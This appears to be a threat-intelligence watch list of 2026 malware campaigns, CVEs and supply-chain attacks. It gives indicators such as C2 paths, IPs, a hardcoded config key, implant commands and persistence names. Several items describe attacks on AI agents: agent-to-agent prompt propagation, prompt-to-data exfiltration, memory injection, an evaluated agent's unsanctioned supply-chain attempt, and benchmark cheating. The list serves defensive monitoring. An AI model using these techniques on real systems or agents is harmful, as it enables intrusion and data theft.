• Benchmaxxing: AI/cybersecurity benchmark integrity, monitor CrowdStrike, the benchmark vendors (Cybench and peers), and independent evaluators for quantified agent-cheating or contamination findings, private- vs public-benchmark comparisons, evaluation-harness isolation guidance, and procurement or red-team heuristics that respond to the Goodhart's-Law signal-degradation described in the August 19, 2026 post. Vendor-methodology reference, not an incident; preserve the distinction between the named failure modes and any independent replication of the Cybench cheating result. See patterns/benchmaxxing-benchmark-integrity-cyber-ai.md.
• arrayref 0.3.10 / proc-macro1 typosquat Rust supply-chain attack, RustSec advisories now published (2026-08-20/21): RUSTSEC-2026-0259 (arone), -0260 (arrayref, unaffected <= 0.3.9), -0261 (aronenao), -0262 (append-only-vec, unaffected <= 0.1.8), -0263 (tinymember, affiliation-only), -0264 (proc-macro-en), -0265 (proc-macro1), -0266 (internment, unaffected <= 0.8.6), all malicious; cargo audit coverage restored. The Rust security team's official post (blog.rust-lang.org 2026-08-20) confirms the owner was not acting maliciously ("computer or credentials likely compromised"), reports 2,285 downloads of arrayref 0.3.10 (<10% of all-version traffic; most users pinned older lockfile versions), and publishes the canonical ~/.cargo/registry/cache hunt. Still open: droundy account recovery or handover, any new arrayref release, a CVE assignment, aovine (deleted, no advisory yet), dtolney-persona follow-on publications, and stage-2 payload recovery from public sources. Wiz's August 20 write-up recovers the stage-2 implant from Google Threat Intelligence samples (beacon to POST /49890878, Chrome/Brave/Edge SQLite saved-login enumeration, kill/minicfg/startup/runscript commands, DGA .com fallback, AES-128-GCM config under the hardcoded key i am botking, embedded RSA-2048 private key) and asserts substantial infrastructure overlap with DPRK campaigns (shared /49890878 beacon path and 23.254.164.0/23 Hostwinds range with the Microsoft-attributed Mastra/Sapphire Sleet campaign, and 23.254.167[.]216 appearing in GCTI's UNC1069 axios analysis). Preserve the attribution caveat: the overlap is infrastructure correlation, not a named-operator confirmation. Preserve the ~86-minute exposure window (2026-08-20 07:11-08:41 UTC) and the yank-burst social-pressure tradecraft.
• StubMaker RubyGems yank-and-reclaim campaign, monitor RubyGems for re-publication under reclaimed package names, additional typosquat packages, the Go stealer / Rust loader payload updates, owner-account activity (mod8rz41mje / rbq95bwt6q), and registry-side yank-reclaim policy changes. Preserve the distinction between the observed 16 packages and any later expanded set.
• Balonx Sistema Mexican banking PhaaS, monitor Group-IB, Mexican financial institutions, and code-hosting platforms for public IOC releases, additional leaked repositories, domain rotation, confirmed victim institutions beyond the 20+ scope, and affiliate-network changes.
• Microsoft Defender CVE-2026-50656 / RoguePlanet / ShieldBreak, monitor Microsoft security response for a fix addressing the ShieldBreak bypass, engine-version detection pivots, public exploitation evidence, and follow-on researcher reports; preserve the no-official-fix-as-of-August-12 assessment and its exposure window.
• City Forum Salesforce/ServiceNow guest-access scraping, monitor Reco, Salesforce, ServiceNow, and SaaS platform operators for guest-identity access-control changes, victim-portal confirmation, additional campaign infrastructure, and any attribution to a named group.
• Unisoc T606/T612/T7250 VoLTE exploit chain, monitor Unisoc, device OEMs, and cellular infrastructure operators for CVE assignment, vendor response to SSD Secure Disclosure's outreach, fixed-firmware availability, and any in-the-wild use given the private-4G-network requirement.
• Head Mare TrueConf / PhantomCore / PhantomGraph campaign, monitor Kaspersky, TrueConf/ConfTool vendor, regional CERTs, and video-conferencing operators for additional compromised-server or participant scope, locale.php web-shell variants, PhantomGraph OneDrive C2 rotation, and confirmation of the hacktivist-to-APT reclassification by independent vendors. Both exploited flaws are now in CISA KEV (added August 20, 2026): CVE-2026-72529 (missing authentication for critical function, CWE-306; BOD 26-04 deadline August 23, 2026) and CVE-2026-72530 (code injection, CWE-94; deadline September 3, 2026), closing the earlier open KLCERT-26-057/058-to-CVE question. Preserve the vendor-response caveat: Kaspersky identified the two flaws as unpatched-at-the-time while the June 18, 2026 5.3.9 / 5.4.9 / 5.5.5 releases were the stated fix.
• Project CAV3RN GAS relay and DNS channel selection, monitor Kaspersky GReAT, Check Point Research, Google, and the cluster's infrastructure for relay deployment-ID rotation, additional studiotikva[.]com backends beyond api.studiotikva[.]com/ac, new broker or module DLLs, Cavern Manticore attribution refinement beyond the Iran-MOIS / Lyceum / MuddyWater overlap, and victim scope beyond Israeli government and IT-provider targets. Keep the GAS relay detection shape (POST to script.google[.]com/macros/s//exec with a k/m/h/r JSON envelope, 302 to macros/echo) distinct from benign Google Apps Script web-app traffic.
• CoolClient kernel-mode rootkit driver (HoneyMyte / Mustang Panda), monitor Kaspersky GReAT, Sophos, Trend Micro, and the Pakistan / Mongolia / Myanmar intrusion context for additional driver samples, signed-driver identity or certificate detail, new IOCTL capability expansion beyond process/file/registry hiding, the fake-Defender staging and ATP-named scheduled-task tradecraft in other intrusions, and correlation of the late-2025 clipboard-theft / HTTP-interception CoolClient variant with this driver deployment.
• Armored Likho Still Toolkit (Still Sync / Still Audio), monitor Kaspersky GReAT, Telegram, and Russian incident responders for additional Still Toolkit components, tg4service[.]com rotation, orderapiserver[.]info catalog changes, victim scope beyond the Russian sector-level description, and confirmation of the May 2026 campaign timing. Preserve the distinction between the Telegram tdata session theft (ongoing account access) and generic browser-cookie infostealer behavior.
• Clop-linked Windchill JSP web shell (CVE-2026-12569 follow-up), monitor PTC, ReliaQuest, Ransom-ISAC, eCrime.ch, Defused, CISA, and Windchill / FlexPLM operators for vendor acknowledgment or fix guidance, additional JSP web-shell variants, keystore-decryption and custom-class-loader artifact hunting results, victim scope, and any KEV or advisory status change for CVE-2026-12569.
• AI "mind viruses" agent-to-agent propagation, monitor Anthropic, EPFL, agent-harness vendors (OpenClaw / Clawdbot / Moltbot), Moltbook, and the AI-agent security research community for in-the-wild propagation evidence, revised payload or warning variants, model-generalization results beyond Claude Haiku 4.5, harness vendor mitigations for SOUL.md / MEMORY.md write gating, and overlap with the retitled AgentWorm (63% aggregate success rate). Preserve the no-confirmed-in-the-wild-propagation assessment and the simulated/simulated-plus-Moltbook-archive scope.
• SilkParasite / China-nexus Central Asia espionage cluster, monitor Bitdefender, Kaspersky, regional CERTs (Uzbekistan, Turkmenistan, Kyrgyzstan, Tajikistan, Kazakhstan), and infrastructure providers for new RAT family names or versions (DriveSilkRAT, CookiETagRAT, NomadRAT, GoginRAT, NodeEdgeRAT, BLOODALCHEMY, SpiceRAT), C2 rotation, confirmed victim ministries, loader or DLL-sideloading changes, and attribution refinement beyond the medium-confidence China-nexus assessment.
• MLflow CVE-2026-64849 SSRF active exploitation, CISA added it to KEV on August 19, 2026 (BOD 26-04 deadline September 2, 2026); the fix shipped in MLflow v3.15.0 via PR #24258 (GHSA-7gwp-5pfp-969j). Monitor MLflow maintainers, watchTowr, VulnCheck, CISA, cloud providers, and ML platform operators for exploit-request and infrastructure indicators, victim scope, any actor attribution, and affected-version lower-bound confirmation below v3.15.0. Preserve the distinction between observed scanning/exploitation and confirmed victim impact.
• Gogs CVE-2026-52813 path-traversal RCE, monitor Gogs maintainers, CISA, GitHub Security Advisories, and self-hosted Git operators for the unpatched bypass fix, CVE-2026-52810 push-authorization bypass fix, GHSA-6vxv-wg6j-5qwp XSS resolution, KEV status, and exploitation evidence. Aikido recommends using a different self-hosted Git solution while Gogs is not actively maintained; monitor whether that guidance changes with a new release.
• Operation CameraSwarm Dahua camera campaign, monitor Hunt.io, Dahua, CISA, and IoT responders for confirmed compromise scope beyond the 14,530 devices in Ukraine and Russia, CVE-2021-33044 / CVE-2021-33045 exploitation details, Easy4IP P2P relay infrastructure changes, and any vendor response or fixed firmware.
• StopAndProtect hacked-WordPress malware infrastructure, monitor Check Point Research, WordPress hosting providers, CISA, and incident responders for campaign growth beyond the ~2,000 sites and 6,000+ victim IPs, new malware families, infrastructure rotation, and actor attribution. Preserve the opsec-blunder reconstruction basis and the campaign's active-growing status.
• CoSnitch / Microsoft Copilot Personal CVE-2026-24301, monitor Microsoft, Varonis, Copilot Personal users, and incident responders for in-the-wild exploitation evidence, memory-injection persistence confirmation, affected-user scope, and any additional Copilot Personal flaws. No in-the-wild exploitation reported as of August 19.
• TWINLOOT M365 dead-drop / Teams TURN Python implant, monitor Ontinue, Microsoft, Teams and SharePoint operators, and incident responders for victim scope, Teams vishing delivery vectors, PyArmor decompilation or payload evolution, STAC4749 / Chaos overlap confirmation, and any Microsoft service-side detection or mitigation changes.
• TheHatman Entra tenant credential-theft claims, monitor Unit 42, Microsoft, criminal forums, and law enforcement for victim confirmation, evidence for or against the claimed MFA-fatigue / password-spraying intrusion vector, TheHatman post or infrastructure indicators, sample data shape and volume, operator attribution, and whether the handle links to any tracked credential-spray operation. Treat all victim and data claims as unverified until corroborated by victim telemetry or enforcement action.
• Entra ID rogue device registration with AI-generated identifiers, monitor Wiz, Microsoft, and identity-threat researchers for the residual catch-rate of static Dsreg/10.0 / DESKTOP-XXXXXXXX fingerprints as AI-generated names become common, additional AI-eroded User-Agent or device-name artifacts, attribution of the MSTokens-PRT/1.0. / Work PC registration, first-party Microsoft behavioral detection for device-code-phishing-to-registration correlation, and whether MFA-for-device-registration reduces the observed one-in-seven tenant attack rate.
• GitLab GraphQL CVE-2026-19478 / CVE-2026-19650, watchTowr reported in-the-wild exploitation of CVE-2026-19478 on August 21, 2026 (reproduced within minutes of disclosure; observed against its honeypot network), per The Hacker News. Monitor GitLab, CISA, GitHub Security Advisories, self-managed operators, and incident responders for a KEV listing (neither CVE was in CISA KEV as of the August 21 catalog release), exploitation evidence beyond watchTowr's honeypot, and any actor linkage. No configuration workaround exists; the four-branch patch (19.2.4 / 19.1.6 / 19.0.8 / 18.11.11) remains the only control, and unpatched self-managed instances are now an immediate-priority target.
• BTR Reforged / BTR_CLI (Defender BTR.sys weaponization), monitor Check Point Research, Microsoft Defender engineering, EDR vendors, and threat-actor tooling for real-world adoption of the BTR.sys kernel-operation primitive, additional RC4-key or ~CRC32 findings across BTR.sys builds, follow-on research into other signed remediation components with similar encrypted-configuration ADS patterns, and Sysmon-based detection rules. No CVE exists (trusted-component abuse, not a flaw); preserve the no-in-the-wild-abuse assessment as of August 20, 2026.
• RedC2 4.0 trojanized-npm wave (RedShell Linux beacon), monitor TrendAI, npm registry state, StepSecurity, Socket, Snyk, and incident responders for additional trojanized packages beyond the 14 identified, registry takedown/cleanup status, victim-execution evidence, RedShell C2 infrastructure (and any overlap with other Red Offsec sales or "MarlboroMan" forum activity), and whether Red Agent AI-assisted post-exploitation appears in observed intrusions. Preserve the import-time (no install hook) execution mechanic as the durable detection shape: native binaries under node_modules/*/dist/ on build/dev hosts.
• UAT-10147 / SPECTRE / Specter / BadIIS agentic-AI web-server campaign, monitor Cisco Talos, CISA, and incident responders for SPECTRE variant changes and additional recovered C2 command sets, Specter rootkit detection coverage (acpi_pad.ko impersonation, hardware-monitor.service Before=sysinit.target ordering, ftrace IPMODIFY hooks, PID 31337), BadIIS MaaS / SeoEngineHandler infrastructure rotation beyond vn[.]xyz and adminapi.tippusoni[.]in, reuse of the documented initial-access CVE set (Zimbra CVE-2022-27925, AjaxPro CVE-2021-23758, Nacos CVE-2021-29441/29442, Telerik CVE-2019-18935, watch_queue CVE-2022-0995, Baron Samedit CVE-2021-3156, ABRT CVE-2015-5287, libuser CVE-2015-3246, RDS CVE-2010-3904, Dirty Pipe CVE-2022-0847), and further evidence of agentic-AI post-compromise orchestration (DeepAudit / PentestGPT traces, AI-generated exploit playbooks, companion Python deployment scripts). Preserve Talos' open target-list disclosure (17 files, ~170,000 URLs) as the durable campaign-scale indicator.
• vm2 NodeVM host state exposure and DNS hijack (GHSA-m5w8-4gq2-6f8x), monitor OX Security, the vm2 maintainers, GitHub Security Advisories, low-code platforms, plugin and CI hosts, and incident responders for in-the-wild exploitation, PoC abuse, further admitted built-ins under the wildcard denylist (child_process remains exposed), and downstream packages shipping vm2 below 3.11.6.
• isolated-vm ExternalCopy type-confusion sandbox escape (GHSA-864f-rcv7-6rh4), monitor Endor Labs, the isolated-vm (laverdet/isolated-vm) maintainers, GitHub Security Advisories (CVE backfill is still pending), n8n / Mastra / Activepieces / Sim.ai / Budibase / Directus / Rocket.Chat and other isolated-vm-based platforms, and incident responders for in-the-wild exploitation, PoC abuse, a public full-RCE chain, CVE assignment, and downstream platforms shipping isolated-vm below 7.0.1 / 6.2.0. Preserve the demonstrated-guest-to-host (not yet in-the-wild) status as of August 20, 2026.
• npm bin-entry dependency confusion, monitor SafeDep, npm/GitHub, registry and lockfile tooling vendors, and affected publishers for operator follow-ups, victim-execution evidence beyond the fingerprint beacons, additional publisher scopes whose bin entries are unclaimed, and whether bin-name registration or registry-side mitigation lands. The 21 squatted Google-adjacent names were unpublished within hours, so treat the recovered npmmirror.com artifacts and the per-package jchunt[.]top C2 subdomains as the durable record.
• Kimwolf v7 Android/IoT botnet, monitor Unit 42, QiAnXin XLab, Synthient, Infoblox, Cloudflare, residential-proxy providers, Android TV and set-top-box vendors, hosting providers, and DDoS responders for v7 infection and victim scope; unauthenticated ADB exposure; loader, APK, and signing-certificate changes; ENS, Tor, localhost-proxy, and RPC-facade rotation; infrastructure disruption; and evidence refining the same-operator relationship with AISURU. Preserve the distinction between legitimate public Ethereum RPC services, moderate-confidence operator infrastructure, and confirmed C2.
• Gunra ransomware-as-a-service activity, monitor CISA, FBI, DC3, NSA, USSS, KNPA, Fortinet, VPN and VDI providers, cloud-storage providers, affected organizations, and incident responders for new affiliate initial-access paths, CVE or appliance expansion, privileged-account and fixed-OTP backdoor variants, exfiltration tooling, infrastructure rotation, Linux and cross-platform payload changes, victim and payment scope, and law-enforcement action. Preserve the distinction between observed intrusion behavior, historical infrastructure, and unverified leak-site claims.
• Atlassian Rovo prompt-to-data exfiltration, monitor Atlassian, PromptArmor, Varonis, Bugcrowd, connector providers, and incident responders for remediation of the content-driven URL-retrieval and Markdown-image paths, confirmation that disabling web search removes or constrains every outbound-capable tool, affected connector and tenant scope, agent/audit detection artifacts, and exploitation evidence. Keep the PromptArmor path and its August 5 unresolved status distinct from the July 8 server-side fix for rovoChatPrompt one-click injection.
• Metabase unauthenticated SQL-injection zero-day, monitor Metabase, Wiz, GitHub Security Advisories, CISA, cloud and self-hosted operators, connected database providers, and incident responders for CVE assignment, changes to the request-merge / structured user-id / HoneySQL :raw root-cause analysis, exploit-request and infrastructure indicators, actor and complete victim scope, further first-party customer notices, fixed-version revisions, and additional detection artifacts. n8n and Anaconda/Kilo Code now confirm downstream data access, including a small set of exposed credentials and possible AI prompts; preserve the distinction between those incidents, vulnerable exposure, and other confirmed exploitation.
• Kiota OpenAPI metadata command injection, monitor Microsoft Kiota, GitHub Security Advisories, VS Code extension releases, downstream SDK-generation services, affected developers, and incident responders for reconciliation of the Microsoft.OpenApi.Kiota.Builder range discrepancy, extension fixed-version confirmation, malicious OpenAPI descriptions, exploitation evidence, victim scope, and additional schema or metadata fields that can cross into command execution. Preserve the prerequisite that an attacker-controlled or tampered description must be consumed and its surfaced command executed manually or through tooling.
• JINX-0163 / FulcrumSec cloud-native extortion, monitor Wiz, affected cloud and identity providers, incident responders, victim notices, extortion disclosures, and law enforcement for service-account or state-file initial access, victim and sector scope, infrastructure and identity indicators, cross-cloud tooling, customer-credential impact, data-leak activity, and evidence that confirms one operator or an extortion-as-a-service model behind FulcrumSec communications.
• Ill Bloom CryptoJS wallet-drain campaign, monitor Coinspect, Ill Bloom, CryptoJS, GitHub Security Advisories, wallet vendors, app stores, blockchain analytics firms, exchanges, and incident responders for additional affected applications and versions, store availability of Bexo 20.1.0, expanded address sets and loss measurements, replacement theft infrastructure or laundering pivots, affected-user notification, and operator attribution. Keep crypto-js < 4.0.0 dependency presence distinct from proven security-sensitive use of WordArray.random().
• AI token-jacking transfer-station abuse, monitor Unit 42, model providers, cloud-AI platforms, new-api / one-api maintainers, hosting providers, registrars, affected organizations, and incident responders for replacement transfer-station domains and IPs, affected provider and victim scope, model and spend telemetry, key-provisioning and alert-suppression paths, billing-remediation guidance, infrastructure disruption, and evidence identifying initial access. Keep Unit 42's Shai-Hulud / Miasma credential-supply warning distinct from proof that those campaigns caused the reported incidents.
• AISI unsanctioned agent supply-chain attempt, monitor AISI, Anthropic, OpenAI, GitHub, affected maintainers, coding-agent vendors, and evaluation operators for the promised partially redacted transcripts; payload, repository, issue, prompt-injection, account, and message artifacts; clarification of the 19-action taxonomy; historical-review findings; independent platform or maintainer statements; and verified rollout of synchronous action approval, restricted egress, and sandbox hardening. Preserve the distinction between expected Dependabot sandbox execution and infrastructure escape, and do not recast an evaluation-containment incident as an external actor campaign.
• Flooding Dropper npm campaign, monitor Sonatype, npm/GitHub, OpenSourceMalware, package-security vendors, affected publishers, hosting and DNS providers, and incident responders for the complete sonatype-2026-005660 package/version/account set; registry removal and replacement-publication activity; direct-download and DNS TXT infrastructure; first- and second-stage hashes; environment and local-state gates; Windows Run-key, scheduled-task, and AppData artifacts; Linux and macOS payload behavior; final payload capability; victim execution; credential impact; and actor attribution. Treat bigops, bnpl, and 35.x.y as mutable discovery clues rather than standalone verdicts, and keep the campaign separate from ChainDrop / Mini Shai-Hulud unless public evidence establishes linkage.
• JetBrains TeamCity CVE-2026-63077 active exploitation, monitor CISA, JetBrains, TeamCity operators, national CERTs, source-control and artifact-registry providers, and incident responders for exploit-request detail, first-seen timing, victim and actor scope, source infrastructure, post-exploitation commands and persistence, build-agent movement, credential access, artifact or release tampering, and public forensic pivots. Preserve the distinction between exposure and confirmed exploitation.
• macOS ClickFix fingerprinting-gate campaign, monitor Microsoft, Apple, MacSync / AMOS researchers, hosting providers, registrars, browser vendors, and incident responders for the complete domain and shared-back-end set, gate-code or field changes, replacement /curl/<id> staging paths, payload and infrastructure rotation, victim and successful-execution scope, delivery-source detail, operator attribution, and macOS Terminal paste-warning bypasses. Microsoft's August 18 MacSync follow-up connected more than 30 behaviorally linked domains; monitor further rotations against the durable /curl/, /dynamic?txd=, and /gate?buildtxd= request shapes and the static shared api-key value rather than any single domain. Preserve the distinction between a gated-domain sighting and confirmed payload execution.
• ENDLESSDOORS Zbtlink router-firmware implant, monitor VulnCheck, Zbtlink / Shenzhen Zhibotong Electronics, Wiflyer and other resellers, CVE records, firmware mirrors, network operators, national CERTs, and incident responders for a vendor response, fixed or withdrawn firmware, additional white-label brands and models, deployed-device scope, observed tasking, infrastructure changes, independent validation, and evidence identifying who controls the configured command-and-control endpoints.
• SPEAKINGSTONE / DARKLANTERN ZBT / MoreQuick router implants, monitor VulnCheck, ZBT / Shenzhen Zhibotong Electronics, MoreQuick, carrier CPE operators (the 392-device sinkhole population is ~83% China Mobile on a single L3_V2_8 model), resellers of the ZBT-WE826 / WG3526 / WG2626 / Z8102AX platforms, CVE records, and incident responders for vendor response, firmware fixes or withdrawals, additional reseller brands, sinkhole population growth, DARKLANTERN scan expansion beyond 203 instances / 22 countries, ac-link[.]com / 47.107.224[.]89 rotation, www.findmyipaddr[.]com registry or sinkhole state, observed tasking against the planted implants, and evidence identifying who controls the C2 endpoints. Preserve VulnCheck's scope: no operator attribution and no documented malicious tasking; these are shipped-by-design implants, and the point-in-time sinkhole/scan counts undercount the live population.
• QuickFox FDMTP software-supply-chain compromise, monitor FortiGuard Labs, QuickFox, Darktrace, Twill Typhoon / Mustang Panda reporting, affected users, hosting providers, and incident responders for the build/release compromise root cause, full affected-version and download scope, second-stage victim and objective detail, infrastructure and payload rotation, additional compromised software, vendor investigation results, and attribution evidence beyond shared FDMTP tooling and cluster infrastructure.
• ChainDrop keyv / cacheable npm worm, monitor StepSecurity, Socket, Aikido, Wiz, Snyk, Microsoft, Unit 42, OX Security, npm/GitHub, the MCP Registry and other developer-tool registries, Ethereum contract 0xE1f2395ee43e45A1556EC6438a88c31B83493103, npm-cache.com, the keyv / cacheable maintainers, Backstage, affected organizations, and incident responders for reconciliation and revision of Unit 42's August 9 483-package / 1,675-package-version list against SafeDep's 444-name / 2,234-version snapshot; the final package/version set; additional confirmed execution beyond the ten Backstage CI runs; Defender telemetry or other victim-side validation; clean package entries that route users to poisoned repositories; residual .claude / .vscode hooks; direct-tarball versus OIDC publication scope; completion of the @servicetitan / @nebula.js removals; replacement or removal of @picsart/ai-sdk@3.32.2 and @deliveroo/reevent@1.0.1; private-mirror and cache persistence; token invalidation; maintainer-account root cause; victim execution and downstream cloud/repository access; results-*.json repositories; token-revocation-trigger persistence; on-chain C2 rotation; signed-commit fallback changes; payload changes; and evidence that confirms or rejects TeamPCP attribution. Treat vendor lists and public URL status as live, time-bounded classifications, preserve Snyk's clean scoping of the earlier @keyv/* version 6 releases, and keep strong Shai-Hulud-lineage overlap distinct from confirmed operator identity.
• Aeternum Polygon botnet control plane, monitor Unit 42, Ctrl-Alt-Intel, Polygon infrastructure providers, GitHub, Telegram, Pastebin, DuckDNS, affected wallet providers, and incident responders for contract and operator-wallet rotation, new function selectors, replacement domains and repositories, distribution paths, payload combinations, confirmed victim scope, and actor attribution. Preserve the distinction between public-RPC access, security-product event counts, and confirmed malware execution.
• DarkSword / GHOSTBLADE iOS exploit infrastructure, monitor Censys ARC, GTIG, Apple, Lookout, iVerify, hosting providers, registrars, and mobile incident responders for panel and staging hash changes, new GHOSTBLADE modules, iOS-version expansion, exploit substitutions, infrastructure rotation, victim scope, disruption activity, and evidence that can identify the Chinese-speaking operator without conflating unrelated users of the leaked DarkSword and Coruna kits.
• N-able N-central authentication-bypass exploitation, monitor N-able, Huntress, CISA, national CERTs, MSPs, Cloudflare, and incident responders for CVE-2026-18556 / CVE-2026-18577 exploit and root-cause detail, victim and downstream-tenant scope, additional source infrastructure and tunnel artifacts, actor attribution, emergency fixed-build changes, persistence beyond Cloudflared, and evidence that distinguishes shared VPN-exit traffic from confirmed N-central exploitation.
• COLDCARD predictable-RNG Bitcoin theft risk, monitor Coinkite, Block Bitcoin Engineering, Galaxy Research, affected owners, wallet providers, exchanges, and incident responders for the formal vendor review, affected-version reconciliation, measured seed-recovery cost, additional RNG-dependent feature impact, confirmed victim and loss scope, transaction-level proof connecting or separating the July 30 sweep, hotfix changes, and actor attribution. Preserve the distinction between confirmed weak seed generation and the currently circumstantial $70.2 million theft linkage.
• Adform Trackpoint JavaScript supply-chain crypto clipper, monitor Adform, affected clients, browser/CDN responders, cryptocurrency services, authorities, Kevin Beaumont, and incident responders for affected-site and visitor scope, cache-residency findings, diverted-fund confirmation, replacement wallet addresses, additional payloads or destinations, initial access to the shared deployment path, reconciliation of the July 27 provider scope with the longer independent observation window, and actor attribution.
• CaptiveCrunch / Storm-2945 hospitality captive-portal campaign, monitor Microsoft, ReliaQuest, Midnight Blizzard responders, captive-portal and hospitality-network vendors, venue operators, and national CERTs for the initial-access path, shared service or management-platform identity, affected equipment, venue and country scope, Android payload confirmation, CornFlake / ChocoShell / FruitStone evolution, infrastructure rotation, and evidence that distinguishes isolated venue compromise from broader captive-portal ecosystem access.
• knaithe / KnYuan autonomous exploitation workflow, monitor Unit 42, Nous Research, DeepSeek, OpenAI, Anthropic, FOFA, affected vendors, and incident responders for additional Hermes Agent sessions or skills, confirmed autonomous compromise, target or victim scope, model-provider enforcement, infrastructure rotation, exploit-chain changes, and attribution beyond the current Chinese-speaking opportunistic-operator assessment.
• OctLurk / SilkLurk Central Asia espionage, monitor Kaspersky, Kazakhstan STS, Cisco Talos, QiAnXin, regional CERTs, affected governments, and infrastructure providers for new loaders or plugins, victim and initial-access scope, C2 rotation, TrustFall / MystRodX / SilentRaid overlap clarification, public YARA or higher-fidelity indicators, and attribution to a known actor.
• TA488 OWAReaper / OWA CVE-2026-42897 exploitation, monitor Proofpoint, Microsoft, CISA and partner governments, Exchange incident responders, GitHub, and infrastructure providers for victim scope, message and implant variants, server-side persistence artifacts, domain rotation, confirmed zero-day chronology, KEV status, and additional containment guidance for synchronized browser state, EWS tokens, and mailbox permissions.
• Toy Ghouls / GenieLocker ransomware evolution, monitor Kaspersky, Russian incident responders, VMware/Broadcom, VPN providers, and affected sectors for additional partner-access paths, GenieLocker builds and extensions, public hashes, infrastructure rotation, exfiltration or negotiation evidence, victim scope, and changes to the group's reported encryption-only model. September 4, 2026 addition (Kaspersky GERT / Security Services): the group deployed a custom backdoor for the first time in early July 2026, a shift from public GitHub tooling, leaked Babuk/LockBit builders, and its own GenieLocker ransomware, two variants, both with "bird" in their agent names: mqtt-bird-agent 0.1.0 (public HiveMQ MQTT broker broker.hivemq.com:8883 as C2, per-cluster /status//metrics3//cmd/req//cmd/res paths, commands via hidden powershell.exe) and matrix-bird-agent 0.1.0 (attacker-hosted Element/Matrix server on meet.element[.]tw, dedicated room, panel-bot operator account, m.bird.* event types). Delivery over WinRM (Evil-WinRM / WinRM-fs) pushing the binary + config.toml; persistence as Windows services cplsupport ("Problem Reports Control Panel") and wtas ("Windows Telemetry Aggregator Service"); the config is machine-bound via ChaCha20-Poly1305 keyed from HKLM\Software\Microsoft\Cryptography\MachineGuid (the Element variant moves sealed config to HKLM\Software\SynapseAgent\Config\SealedConfig and deletes the file after first run). Monitor for additional "bird" agent names / versions, HiveMQ / Element-homeserver C2 rotation, cplsupport / wtas service names, machine-bound config-registry migration, and the group's continued shift toward bespoke, hard-to-detect control tooling; see the campaign page.
• Cisco Secure FMC CVE-2026-20316 static-credential exploitation, monitor Cisco PSIRT, CISA, Horizon3.ai, Cisco TAC, network operators, and incident responders for source IPs, request and authentication artifacts, companion privilege-escalation vulnerabilities, post-exploitation behavior, victim scope, actor attribution, hot-fix revisions, and additional compromise indicators beyond /var/tmp/license.tmp.
• Ruflo CVE-2026-59726 unauthenticated MCP bridge RCE, monitor Ruflo, GitHub Security Advisories, Noma Security, hosting providers, and incident responders for exposed-instance scope, exploitation evidence, AgentDB pattern-store indicators, provider-key abuse, affected-version clarification, and bypasses of the 3.16.3 listener and tool-authorization changes.
• VMware VMSA-2026-0006 critical control-plane flaws, monitor Broadcom, CISA, Atredis Partners, STARLabs SG, Zero Day Initiative, and incident responders for exploit publication or exploitation of vCenter CVE-2026-59309 / CVE-2026-59310 and ESX VMXNET3 escape CVE-2026-47876, revised fixed builds, detection artifacts, and virtualization-control-plane compromise guidance.
• Flying Eagle / Night Dragon Android RAT ecosystem, monitor Hunt.io, NetAskari, Chinese public-security notices, mobile-security vendors, Telegram disruptions, hosting providers, and incident responders for replacement certificates and panel fingerprints, new Flying Eagle forks, Night Dragon version 2, verified victim scope, international targeting beyond template availability, infrastructure takedowns, and evidence that can distinguish operators using the shared leaked codebase.
• Mirage Kitten / UNC1549 malware evolution, monitor Kaspersky, Google Threat Intelligence, Unit 42, Check Point Research, regional CERTs, and incident responders for NightLedger, BridgeHead, ArcBridge variants; replacement C2 and Cloudflare-backed infrastructure; additional victim scope; initial-access confirmation; environmental-key changes; and reconciliation of the Mirage Kitten / UNC1549 / Smoke Sandstorm / Nimbus Manticore aliases. September 1, 2026 addition (Kaspersky GReAT): the group's first publicly documented Node.js/JavaScript implants, NodeRabbit (Node.js) and PollCat (JavaScript), cross-platform (Win/Linux/macOS, NodeRabbit also WSL), delivered through trojanized "coding challenge" / "technical assessment" ZIPs on Amazon S3 (oracle-challenge.s3[.]us-east-1.amazonaws[.]com) via recruiter-themed LinkedIn outreach with a six-digit recruiter-supplied OTP and one-hour window; NodeRabbit v3 persists via a fake "GitHub Copilot Helper" VS Code extension and # shepherd-persist lines in .git/hooks/post-merge / post-checkout; PollCat registers via POST /beacon and treats an HTTP 400 (carrying socketId) as success, the same handshake as Retrograde/MiniFast; C2 on Azure Websites subdomains (often embedding the target org's name) plus Cloudflare domains; confirmed victims: fintech + aviation/aerospace in Egypt, Ethiopia, Afghanistan. Monitor for additional Node.js/JavaScript family names, registry-absent bundled npm packages, S3-hosted "assessment" lure rotation, Azure Websites / Cloudflare C2 subdomain naming that tracks victim orgs, VS Code extension persistence variants, and Git-hook persistence markers; see NodeRabbit, PollCat, and the campaign page.
• Dysphoria IoT botnet evolution, monitor CNCERT, QiAnXin XLab, Nokia Deepfield, NICT, blockchain-name services, network operators, IoT vendors, and incident responders for ENS/SNS record and distribution-node rotation, new victim-relay behavior, additional propagation exploits, independently measured bot or DDoS scale, disruption activity, named victim scope, and evidence that can distinguish the operator from shared JackSkid/fbot tooling.
• Arista VeloCloud Orchestrator CVE-2026-16812 active exploitation, monitor Arista, CISA, incident responders, and SD-WAN operators for exploit-request and payload detail, infrastructure rotation, victim and actor scope, VCO-to-Edge post-exploitation, additional indicators, and reconciliation of the advisory's VCO 7.0 affected-version table with its shorter fixed-release list.
• FortiOS CVE-2025-68686 symlink-persistence bypass, monitor CISA, Fortinet, national CERTs, and incident responders for precursor-CVE attribution, malicious-link and HTTP-request detection artifacts, affected-device or victim scope, configuration-theft consequences, actor linkage, and reconciliation of Fortinet's March advisory status with CISA's July 27 exploitation determination.
• TELESHIM / MIXEDKEY / BINDCLOAK Middle East government campaign, monitor Zscaler ThreatLabz, regional CERTs, Telegram, and incident responders for Part 2 BINDCLOAK analysis, initial-access detail, additional victims or countries, infrastructure and sample changes, and evidence that can refine or name the currently unattributed East Asia-linked cluster.
• Fastjson CVE-2026-16723 active exploitation, monitor Alibaba, FearsOff, ThreatBook, Imperva, CISA, NVD, Spring, and incident responders for a patched 1.x artifact or advisory revision, KEV status, successful-exploitation evidence, victim and actor scope, raw request and infrastructure indicators, deployment-matrix changes, and reconciliation of the vendor's 1.2.68-1.2.83 range with broader third-party claims.
• MrMustard PyPI compromise, monitor XanaduAI, PyPI, GitHub, StepSecurity, Aikido, Codecov, and incident responders for a maintainer postmortem, artifact hashes, exact upload and removal times, credential or self-hosted-runner impact, downstream use of stolen SSH/cloud/Kubernetes material, additional versions or packages, and confirmation of account recovery and trusted-publishing controls.
• Fake Corepack developer-tool impersonation, monitor Socket, Node.js, OpenJS, the registrar, browser/search providers, and incident responders for domain takedown status, search-result suppression, payload hashes, signer and persistence detail, additional redirect infrastructure, victim scope, and confirmed credential or proxy-exit-node abuse tied to corepack.org.
